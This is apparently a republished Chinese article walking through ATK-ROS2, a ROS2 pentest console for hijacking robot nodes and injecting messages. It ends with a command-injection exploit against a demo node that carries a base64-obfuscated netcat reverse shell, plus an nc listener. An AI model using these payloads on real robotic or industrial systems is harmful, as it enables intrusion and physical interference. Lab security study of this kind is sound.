ATK-ROS2:工業環境駭入工具 — 行為劫持,命令注入持久化
这是一个基于ROS2的渗透测试环境ATK-ROS2,支持劫持ROS2节点、构造攻击载荷并控制目标节点路径。环境运行于Ubuntu 22.04以上系统,提供模块化攻击选项和可视化载荷构建工具。 2025-9-18 17:18:9 Author: www.freebuf.com(查看原文) 阅读量:4 收藏

地址:https://github.com/MartinxMax/ATK-ROS2

環境需求:Ubuntu 22.04 (Jammy) 或以上版本

這是一個 ROS2 滲透測試環境,設計成接近生產環境的攻擊盒子。


# 升級 pip
$ pip install --upgrade pip

# 安裝 Python 依賴
$ pip install -r requirements.txt --config-settings --confirm-license= --verbose

# 設定安裝腳本可執行
$ chmod +x ./install/ros2-install.sh

# 使用 sudo 執行 ROS2 安裝腳本
$ sudo ./install/ros2-install.sh

image-1.png


$ python3 atk_builder.py
  • 這是一個載荷構造模組,用於劫持指定的 ROS2 節點、修改路徑以及操作執行流程。

  • 它會生成 .atk文件,可搭配 ATK-ROS2 使用。

image.png


$ python3 atk_ros2.py

image-2.png

執行 help查看指令:

Global commands:
 show                   - 顯示所有模組/板塊
 search <keyword>       - 搜索模組
 use <board_name>       - 選擇模組
 node                   - 列出 ROS2 節點/話題
 hijack                 - 劫持 geometry_msgs/msg/Twist 節點
 exit / back            - 返回上一級或退出
 quit                   - 立即退出控制台

command:show

  • 顯示全部可用模組/板塊

ATK-ROS2$ show
Available Boards
================================================================================
#    Name                              Description
--------------------------------------------------------------------------------
0     action_msgs/msg/GoalInfo            ROS2 Message Board
1     action_msgs/msg/GoalStatus          ROS2 Message Board
<SNIP>...
194   visualization_msgs/msg/MeshFile     ROS2 Message Board
195   visualization_msgs/msg/UVCoordinate ROS2 Message Board

image-3.png


command:use

  • 進入指定模組:

image-4.png

command:use:info

ATK-ROS2[visualization_msgs/msg/UVCoordinate]$ info
  • 顯示當前模組需要設定的參數:

image-5.png

command:use:set

ATK-ROS2[visualization_msgs/msg/UVCoordinate]$ set u 999
  • 設置模組參數值:

image-6.png

command:use:node

ATK-ROS2[visualization_msgs/msg/UVCoordinate]$ node
  • 列出與當前模組兼容的節點:

image-7.png

提示:在主頁執行 node可以列出全部 ROS2 節點。

image-10.png

command:use:run & exploit

ATK-ROS2[visualization_msgs/msg/UVCoordinate]$ run
  • 發射載荷:

image-8.png

command:use:back

ATK-ROS2[visualization_msgs/msg/UVCoordinate]$ back
  • 返回上一級菜單:

image-9.png


command:hijack

ATK-ROS2$ hijack
  • 劫持 ROS2 設備,例如路徑控制:

image-11.png


  1. 啟動 ATK-Builder 構造載荷

$ python3 atk_builder.py
  • 中心作為起點,紅色圓圈作為參考半徑:

image-12.png

  • 設置第一個點:

image-13.png

  • 設置第二個點:

image-14.png

  • 設置第三個點:

image-15.png

可根據需求設置無限個點,小烏龜會按順序移動。

  • 保存 .atk文件:

image-16.png

/home/map/Desktop/atk-ros2/payload.atk

  1. 在其他主機啟動 turtlesim 測試程式

$ ros2 run turtlesim turtlesim_node

image-17.png


  1. 啟動 ROS2 pentest box

$ python3 atk_ros2.py
  • 列出全部節點:

ATK-ROS2$ node

image-18.png

  • 進入 hijack 模組並選擇選項 1:

ATK-ROS2$ hijack

image-19.png

  • 輸入 .atk文件及控制目標節點:

? Select hijack mode: 1. Drawing coordinates hijack
? Enter path to .atk file /home/map/Desktop/atk-ros2/payload.atk
[+] Successfully loaded 6 points, sending Twist messages...
? Enter target node/topic (e.g., turtle1/cmd_vel) turtlesim/turtle1/cmd_vel

image-20.png

  • 發送載荷:

image-21.png

  • 小烏龜成功按照劫持路徑移動:

image-22.png


  1. 使用 std_msgs/msg/String模組

ATK-ROS2$ use std_msgs/msg/String
ATK-ROS2[std_msgs/msg/String]$ node

image-23.png

  1. 設置目標節點及載荷

ATK-ROS2[std_msgs/msg/String]$ set node string_subscriber/string_topic
ATK-ROS2[std_msgs/msg/String]$ set data Pw3d!
ATK-ROS2[std_msgs/msg/String]$ run

image-24.png

受害端:

image-25.png

  • 也可以從檔案發送內容:

ATK-ROS2[std_msgs/msg/String]$ set data file:/home/map/Desktop/atk-ros2/demo/msg.txt
ATK-ROS2[std_msgs/msg/String]$ run

image-26.png

受害端顯示:

image-27.png


  • Demo 中實作了一個存在安全漏洞的後門節點。

  • 如果有興趣,也可以探索工業漏洞利用工具如 S-ClustrTyran

受害端:

  • 上傳後門節點至受控主機:

$ cd ./demo/command_host_service
$ ./start.sh

image-28.png

攻擊者端:

ATK-ROS2$ node

image-29.png

$ sudo nc -lvnp 443
ATK-ROS2$ use std_msgs/msg/String
ATK-ROS2[std_msgs/msg/String]$ set node ping_service_subscriber/ping_ip
ATK-ROS2[std_msgs/msg/String]$ set data 127.0.0.1| echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDE5Mi4xNjguMC4xMTkgNDQzID4vdG1wL2Y=|base64 -d |bash
ATK-ROS2[std_msgs/msg/String]$ exploit
  • 成功擊中目標:

image-30.png



文章来源: https://www.freebuf.com/articles/ics-articles/449388.html
如有侵权请联系:admin#unsafe.sh